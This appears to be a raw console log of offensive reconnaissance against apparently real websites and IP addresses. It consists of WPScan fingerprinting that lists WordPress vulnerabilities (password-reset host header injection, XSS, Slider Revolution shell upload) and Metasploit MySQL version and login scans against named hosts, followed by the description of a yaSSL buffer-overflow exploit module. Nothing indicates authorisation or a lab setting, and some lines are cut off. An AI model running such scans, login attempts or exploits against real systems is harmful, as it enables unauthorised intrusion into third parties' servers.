[+] URL: https://blog.lwl12.com/
[+] robots.txt available under: 'https://blog.lwl12.com/robots.txt'
[+] Interesting entry from robots.txt: https://blog.lwl12.com/wp-
[+] WordPress version 4.9.5 (Released on 2018-04-03) identified from stylesheets numbers, advanced fingerprinting, links opml
[+] No plugins found
[+] Requests Done: 41
[+] Elapsed time: 00:00:07

[+] robots.txt available under: 'https://mightficent.com/robots.txt'
[+] Interesting entry from robots.txt: https://mightficent.com/wp-admin/admin-ajax.php
[+] WordPress version 4.8.3 (Released on 2017-10-31) identified from meta generator, links opml
[!] 10 vulnerabilities identified from the version number
[!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset
[!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
[!] Title: WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS)
[!] Title: WordPress Slider Revolution Shell Upload
[+] Requests Done: 402
[+] Elapsed time: 00:10:04

msf auxiliary(scanner/mysql/mysql_version) > run -j
[*] Auxiliary module running as background job 2.
[*] 103.233.0.244:3306    - 103.233.0.244:3306 is running MySQL, but responds with an error: \x04Host '27.27.54.51' is not allowed to connect to this MySQL server
[*] 103.233.0.244:3306    - Scanned 1 of 1 hosts (100% complete)

msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS m-darts.com
RHOSTS => m-darts.com
msf auxiliary(scanner/mysql/mysql_login) > run

[+] 110.4.45.141:3306     - 110.4.45.141:3306 - Found remote MySQL version 5.5.58

  This module exploits a stack buffer overflow in the yaSSL (1.7.5 and 
  earlier) implementation bundled with MySQL <= 6.0. By sending a 
  specially crafted Hello packet, an attacker may be able to execute 
  arbitrary code.